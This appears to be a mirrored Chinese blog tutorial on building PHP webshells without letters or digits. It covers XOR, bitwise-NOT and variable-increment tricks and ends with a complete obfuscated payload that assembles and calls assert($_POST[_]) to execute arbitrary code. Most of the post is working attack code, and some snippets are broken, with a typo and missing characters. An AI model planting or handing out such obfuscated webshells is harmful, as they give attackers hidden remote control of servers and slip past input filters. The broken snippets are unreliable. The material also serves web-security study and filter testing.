zoukankan      html  css  js  c++  java
  • 构造无字母数字Webshell

    异或:

    补充:
    A的ascii为65,对应二进制是01000001
    <?php
        echo "1"^"A";
    ?>

     

    将“A”和“1”进行异或,结果为“p”
    异或的过程就是讲字符转化为ascii,再变为二进制进行异或
    “1”和“A”各自的ascii码的二进制进行异或得到一个新的二进制,再进行转码,最终变为”p“
    构造assert($_POST[_]);
    <?PHP
         for($i = 0; $i < 256; $i++)
         {
             for($j=0; $j < 256;$j++)
             {
                 if(chr($i^$j) == 'A')
                 {
                     echo (urlencode(chr($i)) . " " . urlencode(chr(&j));
                     echo "
    ";
                 }
             }
         }  
    ?>
    //第六行中的A可以根据需求自行改变

     

    以此类推,可以得到webshell

    取反:

    利用UTF-8编码的某个汉字,将其中某个字符取出来

    <?php
    echo ~(''{2});
    ?>
    <?php
    echo ~(''{2});
    ?>
    结果为

     

    变量自增:

    ‘a'++ == 'b'
    'c'++ == 'd'
    不难发现,通过一个字符就可以根据ascii码得到a-z所有字符

    <?PHP
    echo (''.[]);
    ?>

    数组Array的第一个字母是大写A,而第四个字母是小写a。
    在php中,如果强制连接数组和字符串的话,数组将被转换成字符串,即Array
     
    再例如

    <?php
    function B(){
        echo "xiao";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
    ?>
    结果为

    $_++; 表示对_这个变量进行自增操作,在php中未定义的变量默认值为null,可以通过非数字进行自增操作得到一个数字
    $__="?" ^ "}";表示对?和}进行异或运算,结果为B同时复制给$__
    $__();函数调用

    <?php
    $_=[];
    $_=@"$_";
    $_=$_['!'=='@']; 
    $___=$_; 
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $___.=$__; 
    $___.=$__; 
    $__=$_;
    $__++;$__++;$__++;$__++; 
    $___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
    $___.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
    $___.=$__;
    $____='_';
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $____.=$__;
    $__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $____.=$__;
    $_=$$____;
    $___($_[_]); 
    ?>
    View Code
    如图

    参考:

  • 相关阅读:
    PHP-------抽象和接口
    MySQL函数
    MySQL索引
    MySQL语法
    MySQL视图、事务
    最简洁粗暴版的虚拟用户配置FTP
    linux网络bond技术
    CentOS 7服务
    Nginx 基础
    shell 截取指定的字符串
  • 原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13945520.html
Copyright © 2011-2022 走看看